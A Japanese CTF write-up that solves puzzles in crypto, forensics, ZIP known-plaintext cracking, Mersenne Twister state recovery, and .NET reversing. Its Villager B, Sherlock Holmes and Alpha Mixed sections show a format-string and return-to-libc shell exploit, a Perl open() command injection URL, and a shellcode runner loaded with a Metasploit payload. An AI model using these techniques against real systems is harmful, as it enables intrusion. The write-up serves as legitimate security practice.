c = 225549592628492616152632265482125315868911125659971085929712296366214355608049224179339757637982541542745010822022226409126123627804953064072055667012172681551500780763483172914389813057444669314726404135978565446282309019729994976815925850916487257699707478206132474710963752590399332920672607440793116387051071191919835316845827838287954541558777355864714782464299278036910958484272003656702623646042688124964364376687297742060363382322519436200343894901785951095760714894439233966409337996138592489997024933882003852590408577812535049335652212448474376457015077047529818315877549614859586475504070051201054704954654093482056493092930700787890579346065916834434739980791402216175555075896066616519150164831990626727591876115821219941268309678240872298029611746575376322733311657394502859852213595389607239431585120943268774679785316133478171225719729917877009624611286702010936951705160870997184123775488592130586606070277173392647225589257616518666852404878425355285270687131724258281902727717116041282358028398978152480549468694659695121115046850718180640407034795656480263573773381753855724693739080045739160297875306923958599742379878734638341856117533253251168244471273520476474579680250862738227337561115160603373096699944163
p = 34111525225922333955113751419357677129436029651245533697825114748126342624744832960936498161825269430327019858323450578875242014583535842110912370431931233957939950911741013017595977471949767235426490850284286661592357779825212265055931705799916913817655743434497422993498931394618832741336247426815710164342599150990608143637331068220244525541794855651643135012846039439355101027994945120698530177329829213208761057392236875366458197098507252851244132455996468628957560178868724310000317011912994632328371761486669358065577269198065792981537378448324923622959249447066754504943097391628716371245206444816309511381323
q = 44481453884385518268018625442920628989497457642625668259648790876723318635861137128631112417617317160816537010595885992856520476731882382742220627466006460645416066646852266992087386855491152795237153901319521506429873434336969666536995399866125781057768075533560120399184566956433129854995464893265403724034960689938351450709950699740508459206785093693277541785285699733873530541918483842122691276322286810422297015782658645129421043160749040846216892671031156465364652681036828461619272427318758098538927727392459501761203842363017121432657534770898181975532066012149902177196510416802134121754859407938165610800223
e = 65537
n = p*q
pn = (p-1)*(q-1)
puts "[+] Euclid"
puts " - GET SecretKey(d)"
euclid = Euclid.new()
euclid.exgcd(e,pn)
d = euclid.x + (e*pn)
puts "[+] Decrypt"
m = moduler(c, d, n)
str = [sprintf("%0512x", m).to_s].pack('H*')
MathⅡ
y^101 = x になる y を探す問題です。
かなり大きな数字になることは予想がつくので
範囲を絞ってからの二分探索をするかんじでいいと思います。
まず
y^101 = x
101*log10(y) = log10(x)
log10(y) = log10(x)/101
→ 10^log10(y) < y < 10^(1+log10(y))
常用対数を使って yが何桁の値なのかくらいまで
絞って
def binserch(min,max,x)
loop do
mid = min + (max-min)/2
tmp = mid**101
if tmp > x then return binserch(min,mid-1,x)
elsif tmp < x then return binserch(mid+1,max,x)
else return mid
end
end
end
puts "[+] Set Range"
x = 2748040023408750324411119450523386950660946398855386842074606380418316981389557916980086140301887947706700698930830779678048474531538039134089675000612962004189001422715316147779554460684462041893073445562829316520071658956471592707597247194589999870235577599858641217209525243986680999448565468816434633441308131788183291153809253610695081752296732033298647222814340913466738465892791206393936089466068684809286651197884210187525269355913763182559833600649423167126622527203197940618965341674710993871930168655984019611567024681974446413864111651893113475795042753452042221938667445789706741508160949598322950403760355305740757495122850819958219745478009476321531997688864567881328571570240278649150057863614800304034452842380274161491817926949213762740941829027657311016236224840157689532838274458699038989430527152474540367086746579688987076042252804910459873636444778218434530247647760637770881658596016745610672707638583665201858035977485748775481448417394363801163664632527695106599930657132405666766730530997168969743603771751166591137309462845077320233889570871715682231576283485837079838925927845291565664213349164253238166525895494203520538861102027123057706413048503799598270037162337386882901940037500301040636118696723417952777083334146545991127148023661461455142653367976629308434919237639329808504561590505864983890552051987234096577849288536293631380950881787840319976968198704697701966146561843819563765280293823120028941691560894722032503932540560461794190408016359786029679686957711035845785762377768203676919060935155382104877926736292611130243057909501332528103700463961697932230444978571571548190911155741113324573679444638703192583211952316173122745153529542339170631749363019742630339456502772150867703497326010832217054307087826776870481852284816747574983354077170761286175754243223519482572371717625453405597596790583499145036350302955327521461648262537855645876387858201576107385450844609238327605056916243564458120595540013872075267316304999752934829122583429168665162743589578036716137649553856654996867605565582594039606555708509284616434305172100068285925706963351193710675088846623856567419346569873886366829228933416064828304824833588800700991940600359503453201939139663042787644390810036292415117714919711827630953170559057272633043896443339064006637234499569232762828723613158050896065355005775876910820958296537497557737916521798848004761708690607167573807307291510879396794861418856342383200817566360552405183866698509354047737422523253071467100174078467454351746681775690022510266842064132386305358891086764558955802257688899610117102582837343655907837234028334304769930810792079059216436489942124896722072971246781926084943216581585837400274934104255861076781834022322597318553478829221018993823759479304536464719195824731739557957722610850860725276329731096193041588880149698625007746958307472328762247329346952956782896672291984502790479223886842985800649168009891087704339671376795754679245964575179873102014722210341771266309855717402003098724600141420936602986387680283404929020457247001371544838792904086327642729822000980710278752669990211765608002907900832262843253793831541691706704836397397798869236939393204666502455311086553874765248631328418556164635889080357612074921368044611251307530838475840480894307375072202500636365832958938363048173011687247738236161480446422712858040552310006617829659443118541556912488329721272939472554467384944920030182974546889304443711910957344160175437149714520561879951921970795705645045936350875827028675689840953101114431720413756855193291198455863087675930604549263160397353363504597829924339064422377323361781720524799661393081986371074530022532621955945720583925291264598924971169093688390536693144593482790588893095052569365154072722966434676949346037949263628957665599420417719951187489606010866702371368012263032537375401145460592536898818245350468847674995676417425737655723761467908866712060720593684978725896677308273
order = (Math.log10(x).to_i)/101
puts " - 10^#{order} < y < 10^#{order+1}"
puts "[+] Binary Search "
max = 10**(order+1)
min = 10**(order)
puts " - min 10^#{order} to MAX 10^#{order+1}"
puts "FLAG_" + binserch(min, max, x).to_s
あとは2分検索で探していきます。
USB flash drive
USBメモリをddした風のイメージファイルが課題の問題です。
素直に mount -o loop すると 3枚の画像が入っているだけで
なにも起こりません。
削除されたり破損したりしたデータを探す必要がありそうです。
とりあえず Photorec を使って抽出を試みると
1枚の画像が復元できました。 曰く
The flag is in this file, but not in this image
とのこと、 not in this image とのことなので
このデータを探してもなにもないようです。
強力なフォレンジックツールでもあればいいのかもしれませんが
とりあえず NTFSなので 他にファイルに関する情報ということで MFTを
覗いてみることにしました。
バイナリエディタで
L i b e r t y
4C 00 69 00 62 00 65 00 72 00 74 00 79 00
などで検索をかけて無事に発見
すると
8+3 name LIBERT~.JPGや
full name LIberty Leading the People.jpg
などのよくある属性の後ろに
00 : FLA
01 : G_q
と追加の拡張属性が追加されています。
表示幅を調整すると読めるのでこれで終了しました。
本当は MFTを探して属性ごとに切り分ける
スクリプトでもかけばかっこいいのかもしれません。
その後Windows環境を立ち上げたときに入っている Autopsy を起動して
みました。
…優秀ですねぇ
Zip de kure
パスワード付きZIPファイルの解凍を目指します。
ZIPパスワードの解析は
特定のソフトの乱数生成のバグなどを利用する
少ない桁であると分かっている場合は総当り
もう1つが
既知平文攻撃
です。
特定の暗号化方式で
一部の暗号文と平文が分かっている場合
他の暗号文の元の平文も求まるものがあり
ZIPではこの攻撃が有効で、CTFではよく使われます。
昔の SECCON にもあった気がします。
また、ZIPはパスワードがわからなくても中に入っている
データのリストは取得できるので
有名な .dll や データの名前が確認できた場合
この方法が有効だったりします。
さて
$ unzip -l flag.zip
Archive: flag.zip
Hint:
- It is known that the encryption system of ZIP is weak against known-plaintext attacks.
- We employ ZIP format not for compression but for encryption.
Length Date Time Name
--------- ---------- ----- ----
304 06-03-2012 18:14 flag.html
255964 06-03-2012 18:10 Standard-lock-key.jpg
--------- -------
256268 2 files
Hint としてもろに known-plaintext って書いてありますね。
安心して実行できます。
pkcrack を使用して
Standard-lock-key.jpg
が使えそうなデータなので検索してみると
これ
がそうですね。
以上から
$ pkcrack -C flag.zip -c Standard-lock-key.jpg -p ./Standard-lock-key.jpg -d flag_.zip
-C : 暗号zip
-c : 暗号zip内で平文が分かるデータ
-p : 平文
-d : 出力するzip名
$ unzip flag_.zip
で無事に展開できました。
G00913
円周率に現れる最初の10桁の素数がそのままFLAGだそうです。
タイトルの G00913 とは Google の leet表記
つまり検索してね ということなので検索したところ。
これ で終わりです。
ちなみに登場する場所を調べたところ
少数4位以降
ということでめちゃくちゃ早い位置にあります。
もし数千~数万桁分のデータを持ってきて10文字ずつカットしながら
調べるスクリプトを書いて一体いつ終わるのだろう、というか見つかるのか…?
と思っていたら一瞬で終わるという ある意味配慮が行き届いている問題と言えるかもしれません(笑
Perfect Cipher
乱数を利用してワンタイムパッドな暗号化が施されているため
元のデータを復元することはできないファイルを復号する問題です。
配布の暗号化ソースコードをみると
メルセンヌ・ツイスタを用いた乱数生成器
を利用してワンタイムパッド用の乱数表を作成していることが
わかります。
メルセンヌ・ツイスタは非常に優秀な乱数生成器ですが、
一定量以上の生成器の出力を集めると暗号生成器の中身が
再現可能になって、以降どんな乱数が出力されるか計算可能に
なります。
mt19937.cpp はじめ通常の実装では 連続する624個分の出力が集まればOKです。
mt19937.cpp では乱数を生成するために
シード値などから精製した
テーブル mt[624] と インデックス mti
をもちいて乱数を生成するため、生成された乱数から テーブル mt を復元
すればいいわけです。
genrand_int32() の Tempering という部分が
テーブル mt から 乱数を作る計算なので この逆関数に当たる処理を
書きます。
逆関数は検索すれば JavaやPythonなどの実装が見つかったので それを
参考にC用に書きなおせました。
次に、 テーブルmt を復元するための 出力サンプルが必要です。
メルセンヌ・ツイスタで得た乱数を用いて
(元データ) xor (乱数) = (暗号データ)
という計算をしており
乱数は hoge.key
暗号データは hoge.enc
として保存しているだけなので
(元データ) xor (暗号データ) = (乱数)
となり
encrypt.cpp encrypt.enc
のデータを XOR することで encrypt.key を復元することができます。
encrypt.key はまさに メルセンヌ・ツイスタで生成された
乱数表そのものでかつ 624個以上の乱数が記されています。
この乱数表を先術の Temperingの逆処理にまわして
テーブルmt を復元すれば 最初にデータを暗号化したときと
全く同じ乱数表が得られます。
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include "mt19937ar.h"
extern unsigned long mt[624];
extern int mti;
unsigned int store[624];
unsigned int key[624];
int eti;
unsigned int un_bit_shift_left_xor(unsigned int v,int shift, unsigned int mask);
unsigned int un_bit_shift_right_xor(unsigned int v,int shift);
unsigned int un_tempering(unsigned int k);
unsigned int emu_init();
unsigned int emu_genrand_int32();
void dummy_encrypt(const char *plain, const char *crypt, const char *key);
void decrypt(const char *plain, const char *crypt, const char *key);
void encrypt(const char *plain, const char *crypt, const char *key);
void getflag(const char *file);
void makekey();
int min(int a, int b) { return a<b ? a : b; }
int main()
{
makekey();
emu_init();
encrypt("encrypt.cpp", "encrypt.enc", "encrypt.key");
dummy_encrypt("flag.jpg", "flag.enc", "flag.key");
decrypt("encrypt_dec.cpp", "encrypt.enc", "encrypt.key");
decrypt("flag_dec.jpg", "flag.enc", "flag.key");
getflag("flag_dec.jpg");
return 0;
}
void dummy_encrypt(const char *plain, const char *crypt, const char *key)
{
FILE *fk = fopen(key, "wb");
for (int i=0; i<80000; i+=4)
{
unsigned long k = emu_genrand_int32();
fwrite(&k, 4, 1, fk);
}
fclose(fk);
}
void encrypt(const char *plain, const char *crypt, const char *key)
{
FILE *fp = fopen(plain, "rb");
FILE *fc = fopen(crypt, "wb");
FILE *fk = fopen(key, "wb");
fseek(fp, 0, SEEK_END);
unsigned long length = (unsigned long)ftell(fp);
fseek(fp, 0, SEEK_SET);
fwrite(&length, 4, 1, fc);
for (int i=0; i<length; i+=4)
{
unsigned long p;
fread(&p, 4, 1, fp);
unsigned long k = emu_genrand_int32();
unsigned long c = p^k;
fwrite(&c, 4, 1, fc);
fwrite(&k, 4, 1, fk);
}
fclose(fp);
fclose(fc);
fclose(fk);
}
void decrypt(const char *plain, const char *crypt, const char *key)
{
FILE *fp = fopen(plain, "wb");
FILE *fc = fopen(crypt, "rb");
FILE *fk = fopen(key, "rb");
unsigned long length;
fread(&length, 4, 1, fc);
for (int i=0; i<length; i+=4)
{
unsigned long c;
fread(&c, 4, 1, fc);
unsigned long k;
fread(&k, 4, 1, fk);
unsigned long p = c^k;
fwrite(&p, min(4,length-i), 1, fp);
}
fclose(fp);
fclose(fc);
fclose(fk);
}
void getflag(const char *file)
{
int i;
char c;
FILE *fp;
fp = fopen(file, "rb");
for( i=0; !feof(fp); i++)
{
c=fgetc(fp);
if( isgraph(c) )
{
if(i>=4218 && i<=(4218+42)) printf("%c",c);
}
}
fclose(fp);
printf("\n");
}
void makekey()
{
int i;
int blocks;
unsigned long p,k,e;
FILE *fp;
FILE *fe;
FILE *fk;
fp = fopen("encrypt.cpp", "rb");
fe = fopen("encrypt.enc", "rb");
fk = fopen("sample.key", "wb");
fread(&blocks, 4, 1, fe);
for(i=0; i<blocks; i++)
{
fread(&p, 4, 1, fp);
fread(&e, 4, 1, fe);
k = p^e;
fwrite(&k, min(4,blocks-i), 1, fk);
}
fclose(fp);
fclose(fe);
fclose(fk);
return;
}
unsigned int un_bit_shift_left_xor(unsigned int v,int shift, unsigned int mask)
{
int i;
unsigned int r,tmp;
i = 1;
r = v;
while( (i*shift) < 32 )
{
tmp = r << shift;
r = v ^ (tmp&mask);
i++;
}
return r;
}
unsigned int un_bit_shift_right_xor(unsigned int v,int shift)
{
int i;
unsigned int r,tmp;
i = 1;
r = v;
while( (i*shift) < 32 )
{
tmp = r >> shift;
r = v ^ tmp;
i++;
}
return r;
}
unsigned int un_tempering(unsigned int k)
{
unsigned int x;
x = k;
x = un_bit_shift_right_xor(x, 18);
x = un_bit_shift_left_xor(x, 15, 0xefc60000);
x = un_bit_shift_left_xor(x, 7, 0x9d2c5680);
x = un_bit_shift_right_xor(x, 11);
return x;
}
unsigned int emu_init()
{
FILE *fk;
int i;
unsigned long k;
fk = fopen("sample.key", "rb");
for(i=0; i<624; i++)
{
fread(&k, 4, 1, fk);
key[i] = k;
}
for(i=0;i<624;i++) mt[i] = un_tempering(key[i]);
mti = 624;
eti = 0;
}
unsigned int emu_genrand_int32()
{
unsigned int ret;
if(eti<624)
{
ret = key[eti];
eti++;
return ret;
}else{
return genrand_int32();
}
}
これがソースコードの全体です。
genrand_int32(); の代わりに 画像暗号化時の乱数生成を再現する
emu_genrand_int32(); という関数を作って元の encrypt.cppの作業を
再現してみました。
使用する前に 配布されたデータの中の mt19937ar.cpp の
56 57 行目で
unsigned long mt[N]; /* the array for the state vector */
int mti=N+1; /* mti==N+1 means mt[N] is not initialized */
static を除去します。(解析した値で mt mti を上書きするため)
static 除去が終わったら take21.cpp という名前で解凍したフォルダに
ソースコードを保存して
$ g++ -o take21 take21.cpp mt19937ar.cpp
$ ./take21
でFLAG取得まで自動でおわります。
ちなみに FLAGなどは正常にとれ、JPEGのヘッダは FF D8 からはじまり
Adobe Exif などの文字も確認できるのですが 画像自体は破損扱いに
なっています。
テーブルの生成の一部に不備があるのかもしれません…が
とりあえずFLAGが取れたので良しとします。
Square Cipher
発想重視の問題です。
タイトルの スクエア などから紆余曲折して
大文字部分を黒く塗ると QRコードになることに気がつくことが
まず第一段階です。
次に このQRコードを読み取り可能な状態にする必要があります。
適当な言語で
小文字 -> 0 大文字-> 1 とでも変換したテーブルを用意することは
簡単ですが、この後
テーブルを QRコードの仕様にしたがってそのまま解釈
or
テーブルを QRコード読み取りソフトで読み取れる画像に変換
のどちらです。
当然画像化のほうが簡単で手っ取り早いのでこちらを選択します。
画像化の方法ですが、ビットマップ画像 を生成したり
HTML5などのコードを生成してブラウザに描いてもらったりと
いろいろありますが、
最も最小のコードですむのは XPM 画像 だと思います。
XPM画像は ASCIIテキストだけで表現できる 画像フォーマットで
画像データそのものがCの配列の形をしており
X Windows System でソースコード内に画像をそのまま埋め込むときに
使われています。
これならば printf 一本で画像が生成できてしまいます。
以下生成コード
#include <stdio.h>
#include <ctype.h>
#define XPM_BLACK30 "##############################"
#define XPM_WHITE30 "______________________________"
int main()
{
int i,j,k;
char c;
char line[32];
FILE *fp;
fp = fopen("take22.txt", "rb");
printf(
" /* XPM */\n"
"static char *take22_xpm[] = { \n"
" \"%d %d 3 1\", \n"
" \". c none\",\n"
" \"# c black\",\n"
" \"_ c white\",\n",
(31*30), (31*30)
);
for( i=0; !feof(fp); i++)
{
c=fgetc(fp);
if(islower(c)) line[i] = '0';
if(isupper(c)) line[i] = '1';
if( c == '\n')
{
line[32] = '\0';
i = -1;
for(k=0; k<30; k++)
{
printf("\"");
for(j=0;j<31;j++)
{
switch(line[j])
{
case '0': printf(XPM_WHITE30); break;
case '1': printf(XPM_BLACK30); break;
}
}
printf("\",\n");
}
}
}
printf("};");
fclose(fp);
}
line[] に 一行分の 黒白データのリストを作って
改行ごとに 一行分のデータを出力しています。
ASCII 1文字が 1pixel に対応するので1ブロックあたり 30x30 pixel 分
表示するのにちょっときたないループを回しています。
このあたりは綺麗に書きなおしてもうちょっと汎用的な
QRコード生成器にしたいところです。
逆にいえばこんな雑なコードでちゃんと画像が作れます。
問題の暗号を take22.txt に保存して上記コードを走らせれば終了です。
QRコードを適当な方法で読み取れば FLAGが表示されます。
前述のとおり 生成された xpm画像の実体は Cのソースコードなので
テキストエディタで開けて楽しいです。
Villager B
一度はFLAGゲットまでたどり着いたものの
書いたコードを実行すると接続が切れたり切れなかったりで
不安定なので原理だけ書きます。
基本的には VillagerA と同じように 書式文字列攻撃を使って
メモリを書き換え命令をすり替えていきます。
ただし、 -pie などが有効になっており、 Aのように
決まったアドレスをピンポイントで書き換えるような
コードを作ることはできません。
プログラムやライブラリは毎回ランダムな位置に割り当てられ
call などでジャンプするアドレスもプログラム起動時に
よろしく書き換えられるため、バイナリを覗いても実行時の
アドレスがわからないようになっています。
(ただし、割り当てられたオブジェクトの中でのオフセットに関しては
objdump 等で確認することができます。)
このような状況では適切にメモリを書き換えることは難しいですが
幸いにも今回は
繰り返し書式文字列攻撃が可能
なのでやりようがあります。
まず準備段階として %x などを使って スタックの中身を探し
アドレスが推測可能な値を拾ってきます、
次のそのアドレスから libc や main() , stack などの
起点となるアドレスを算出し、本番のメモリ書き換えを行います。
次にどのようにメモリを書き換えるか ですが
スタックやヒープで任意のコードを実行することができないため
return-to-libc
という手法を使います。
これは スタック上に記録されたリターンアドレスを本来のものから
libc内の関数のアドレスに書き換えておくことで、
任意の libc関数なら呼び出せるよ という手法です。
特に system() が狙いめで
スタック上の
(return) ---- -------
リターンアドレスと周囲のメモリを
(system) XXXX *arg
このように書き換えると (XXXXはダミー)
system(arg)
を実行したのと同じスタック構造になります。
よってこの形を目指せばいいわけです。
gdb を使って実験してみます。
$ gdb ./villager
(gdb) set disable-randomization off …①
(gdb) start
(gdb) disas main
Dump of assembler code for function main:
…
0x565cb8e0 <+48>: movl $0x3,(%esp)
0x565cb8e7 <+55>: call 0xf74412e0 <sleep>
0x565cb8ec <+60>: call 0x565cb7f0 <_Z4convv> …②
0x565cb8f1 <+65>: test %al,%al
0x565cb8f3 <+67>: je 0x565cb8e0 <main+48>
…
(gdb) disas _Z4convv
Dump of assembler code for function _Z4convv:
…
0x565cb86e <+126>: mov %ebx,(%esp)
0x565cb871 <+129>: call 0xf73d4e40 <printf> …③
0x565cb876 <+134>: movl $0x565cba13,(%esp)
…
(gdb) break *_Z4convv+134 …④
まずここまで確認します。
①は gdb がデフォルトでASLRを無効にしているので 無効にするのを無効にして
ASLRを有効にしてから start します。
この段階で 各種オブジェクトのメモリ上の位置が決定します。
②周辺が基本のループです。
3秒 sleep してから _Z4convv を呼び出し
また戻ることを繰り返しています。
つまり、 conv 実行中 スタックのどこかに
0x565cb8f1 <+65>
という値がリターンアドレスとして書き込まれているはずです。
このリターンアドレスを書き換えることで攻撃可能なだけでなく
このアドレスから objdump で調べたオフセットを引けば
プログラムがロードされた場所もわかります。
③は書式文字列攻撃が可能な printf の位置です。
④ 書式文字列攻撃直後に breakpoint を設置しておきます。
これで
(gdb) step
Single stepping until exit from function main,
which has no line number information.
Welcome
What's your name?
PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING /bin/sh
Hi, PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING /bin/sh
Breakpoint 2, 0x565cb876 in conv() ()
こんな値を入れてみました。
ここで
(gdb) x/1s $esp+100
0xffb67454: "/bin/sh\n"
(gdb) x/1wx $esp+316
0xffb6752c: 0x565cb8f1
こうなっていることが確認できます。
0x565cb8f1は conv() -> main() へのリターンアドレス
/bin/sh はスタックに送られたコマンド用の文字列です。
環境変数などから必要な文字列を稼いでもOKです。
$esp+X のオフセットは
(gdb) x/40x $esp
(gdb) x/80wx $esp
で探し出せます。
ここから
(gdb) print system
$1 = {<text variable, no debug info>} 0xf73c6080 <system>
libc内 system 関数のアドレスを調べて
メモリを書き換えてみます。
(gdb) set {int}($esp+316)=0xf73c6080 … system()
(gdb) set {int}($esp+320)=0x0 …後は野となれ山となれ
(gdb) set {int}($esp+324)=($esp+100) … "/bin/sh"
これでOKです。
(gdb) step
(gdb) step
(gdb) step
sh-4.3$
conv() から main() に処理が帰るはずのタイミングで
スタックが sytem("/bin/sh") の形になったため
シェルが起動しました。
あとは cat /home/hiroumauma/flag.txt でFLAGの代わりが表示できることが
確認されました。 /bin/sh ではなくて直接
cat 〜 を実行させることも可能です。
実験からいかにして実戦へと結びつけるかですが
set コマンドの作業は 書式文字列攻撃の %n で当然代用できます。
あとは
system() と スタックのアドレスがわかればどうにかなりそうです。
これらのアドレスの推測もスタックからこぼれた値を使って
推測できそうなものを使います。
例えば
%78$p …スタック周辺のアドレス
%79$p … main + 65 のアドレス
%81$p … libc周辺のアドレス
などなど使えそうなデータはいくつかあります。
あとは
$ objdump -D ./villager > vil.dump
$ objdump -D libc.so.6 > libc.dump
で各関数のアドレスの差をとることで
スタックから得られた断片情報から
目的の関数のアドレスを算出できます。
まずはローカルで
#!/usr/bin/ruby
require 'open3'
def talk(stdin, stdout, msg)
stdout.readline #What's your name?
stdin.puts(msg)
res = stdout.readline
res = res.match('Hi, (\w+)')[1]
stdout.readline #Here is Despire Town
stdout.readline #
return res
end
Open3.popen3('./villager') do |stdin, stdout, stderr, thread|
stdout.readline #Welcome
base = talk(stdin, stdout, '%79$x').to_i(16) - 2289
puts 'a.out = 0x' + base.to_s(16)
end
こんなコードで挙動を足しかめた後
equire 'socket'
host = 'ctfq.sweetduet.info'
port = 10001
sock = TCPSocket.open(host, port)
puts sock.gets #Welcome
puts sock.gets #What is your name
while
line = 'test'
sock.puts line
sock.flush
res = sock.gets
puts res
end
sock.close
こんなかんじで接続するようにしたのですが
いけたりいけなかったりそもそもサーバーにつながらなかったり
かなり不安定です。
使えそうなアドレスや計算手順を変えたら上手く行くこともありました。
ちゃんと通るようになったら修正します。
Rights out
.NETなアプリケーションが渡されます。
Windowsなら .Net Reflector か ildasm
Linux/Mono なら ikdasm でデコンパイルできます。
ikdasmすると
.data cil I_00002338 = bytearray (
01 00 00 00 07 00 00 00 10 00 00 00 0B 00 00 00
0E 00 00 00 13 00 00 00 14 00 00 00 12 00 00 00)
.data cil I_00002358 = bytearray (
55 00 00 00 6F 00 00 00 75 00 00 00 2B 00 00 00 // U...o...u...+...
68 00 00 00 7F 00 00 00 75 00 00 00 75 00 00 00 // h.......u...u...
21 00 00 00 6E 00 00 00 63 00 00 00 2B 00 00 00 // !...n...c...+...
48 00 00 00 5F 00 00 00 55 00 00 00 55 00 00 00 // H..._...U...U...
5E 00 00 00 42 00 00 00 78 00 00 00 62 00 00 00 // ^...B...x...b...
4F 00 00 00 75 00 00 00 44 00 00 00 53 00 00 00 // O...u...D...S...
40 00 00 00 5E 00 00 00 27 00 00 00 41 00 00 00 // @...^...'...A...
49 00 00 00 20 00 00 00 41 00 00 00 48 00 00 00 // I... ...A...H...
33 00 00 00) // 3...
怪しぎるデータがあり
IL_0012: ldstr "Congratulations!"
付近以降を読めば
IL_007c: xor
XORしている部分見つかります。
もうちょっと複雑なら .Net Reflectorにかけるところですが
これくらいなら
#include <stdio.h>
int main()
{
int i;
int key[] = { 0x01, 0x07 ,0x10, 0x0B, 0x0E, 0x13 , 0x14, 0x12 };
int flag[] = {
0x55, 0x6F, 0x75, 0x2B, 0x68, 0x7F, 0x75,
0x75, 0x21, 0x6E, 0x63, 0x2B, 0x48, 0x5F,
0x55, 0x55, 0x5E, 0x42, 0x78, 0x62, 0x4F,
0x75, 0x44, 0x53, 0x40, 0x5E, 0x27, 0x41,
0x49, 0x20, 0x41, 0x48, 0x33
};
for(i=0;i<33;i++)
{
putchar(flag[i]^key[i%8]);
}
putchar('\n');
return 0;
}
これで十分です。
Reserved
タイトルの通り perlの予約後だけが書いてあります。
おそらく perl で解釈可能な文字列なのでしょうが
眺めていても使い方はわからないので検索したところ
これでした。
処理可能というかこれ事態が完結した perl のコードになっているらしく
全体を保存して実行すれば終わりです。
Sherlock Holmes
開いてURLを見た瞬間に大体察しが付きます。
と同じです。
perlの open 関数は | 付きの文字列をOSのコマンドと認識するので
今回のように URLで指定されたテキストファイルをそのまま
perlの open で処理していると思われる場合有効です。
flag.txt があるのでこれで終わりかと思うと
ハズレでした おそらく
/~q26/index.pl/flag.txt
を予想してしまった人対策かなと思いつつ
ソースをみると、 h@cl3d! とかかれたファイルがあると FLAG_n6… を表示すると
あります あれ…見えてません?
どうやら
/~q26/index.pl/flag.txt
/~q26/index.pl/index.pl
を経由するのが正規ルートぽいです。
ということで一応
/~q26/index.pl/|echo 'h@ck3d!' > cracked.txt
一度実行してから
/~q26/index.pl/
にアクセスすると
"ちゃんと" FLAGがとれます。
Lives out
Win向け 64bitコードを弄れるツールの用意がないので
後回し
Lo-Tech Cipher
seacret.zip を展開すると 2枚の画像 share1 share2 が
入っています。 これを GIMPで合成すると
うっすらと文字が浮かび追加のデータが ZIPにあると教えてもらえます。
そこで
ZIPをバイナリエディタ または fileコマンドで調べると
ZIPデータの前に png のデータのヘッダが存在していることが
わかります。
よって
seacret.zip をそのまま seacret.png にリネームすると
画像として開けることが確認できます。
これを既存の2枚に加えて合成すると
flagゲットです。
Double Blind
タイトルから 二重盲検法 の話かと思ったら P≠NP予想 に関する
ドキュメントが渡されます 内容を読んでも仕方がないので
docx内部のデータを探します。
docx は zipでアーカイブされているので
unzip で展開できます。
xml形式でデータが記録されているので
画面上には出ない情報も読めるはずです。
$ unzip paper.docx
$ cd word
$ cat * | grep FLAG_
$ cat * | grep AG_
grep で断片がないか探してみると
ちなみに Double Blind の意味ですが
おそらく、このFLAGが想定しているドキュメント製作者のユーザー名などの
情報は、ドキュメント作成者自信が隠そうとしたりしたものではなく
docxの仕様として勝手に書き込まれてしまうものだということだと想います。
書き込まれていること自体が 見る側からも作った側からも わからないうちに
ドキュメントデータのなかにユーザー名等情報が含まれてしまうため
どちら側からも隠された Double Blind 二重盲 状態だよ
ということでしょうか。
通常 Double Blindといえば 偽薬と新薬を用いて行う医療研究の
プラシーボ試験の方法で、どちらの患者が偽薬でどちらの患者が新薬かを
患者からも医師からもわからないようにした上で公平にデータを
精査するために行われる 二重盲検法のことを指します。
Alpha Mixed Cipher
タイトルとヒント、文字列から
metasploit frameworkなどにも搭載されている
シェルコードのASCII表示変換ということはすぐにわかります。
ということでこの文字列を直接機械語として読みだせばいいはずです。
#include <sys/mman.h>
#include <stdint.h>
char code[] = "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIn9hkokN944VDxtfQkbh2CG6QyYE4nkpqp0lKBVtLlKpvULnksvs8LKQnwPnk5ffXPOWhd5JSQIUQN1iokQu0nk2LfD4dNk2egLNkBt4h1h6a9zlKBjR8NkBzQ07qJKysdt3ynkvTLKuQHnp1yoTqYP9lLlk49PD4WwYQxODMeQxGjKHtGK1lWTa8T5iqLKaJetS1JKCVnkTL0KlKqJwlvaJKlKvdlKFaM8LIrdtdglu18CH26hgYztlI8elIYRrHnnrntNzLQBZHooyoYoIoMY3ugtMk1nN8xbqclG7lFDF2kXnniokOyoniG5eXcXRLplGP2a58ecp26NqtrHT543e5BRK8slfDgzmYzFSfyo2uVdmYzbF0oK98lbrmoLLGUL14qBkXqqyoyoio3X0obXrx5pbHsQRGqusrphbmBE2S3C01iKk8QL5tDJOyXcrHQe0XgPepqxTvpovX42U8CIaqBKQSE8sFRTdsEde81OVRaX60bHPFblsqw76QIYoxRl7TGeNiKQtqXR0R2s0Q1BkOxP4qiP0PkOceWxAA";
int main(){
mprotect((void *)((uint32_t)code & ~4095), 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
(*(void(*)()) code)();
return 0;
}
これを -m32 で実行すればいいんでしょ と思って実行してもSEGVで上手く行きません。
ちょっと調べたところ VTX630 から始まっているので
ここ や ここ
などから分かるように Windows向けのシェルコードなようで、最初の VTX〜 は EIPの値を取得するお決まりのコードみたいです。
で、
シェルコードを exe に変換できる Shellcode 2 EXE を仮に使って
Windowsで走らせてみましたが、各所でSEGVが発生します。
ASCIIコードで表示することを実現したりヌルバイトを避けるために
元のコードより一見無駄な処理なども追加されているので読み下すのも大変そうです… 一旦保留
正体は分かっているのでもう少し調べてみます。
VTX630〜がEIPの取得ですがmetasploitの出力をみると
それ以降も定型文が続いているようで それぞれ調べてみると
シェルコードを実行するにあたって
実行時デコーダ+シェルコード本体
という構成になっていているようです。
この実行時デコーダが正しくシェルコードを実行するためには
ベースアドレスがわからないとだめで、どうにかしてベースアドレスを
求めて特定のアドレスやレジスタに保持させる必要があります。
また、Windowsの場合はSEHを用いてベースアドレスを自動で求めることができるのは
前述の通りです。
よって今回の場合
Win SEHを用いてベースアドレスを取得
"VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089"
このSEH利用上記コードにてベースアドレスを取得した場合
ECXにベースアドレスが格納されているので
ECXに手動でベースアドレスを入力した時と同じ処理である
"IIIIIIIIIIIIIIIII7QZ"
を使用してデコーダ本体
"jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB"
をロード
という手順になっており
以下シェルコード本体が続くわけです。
よって
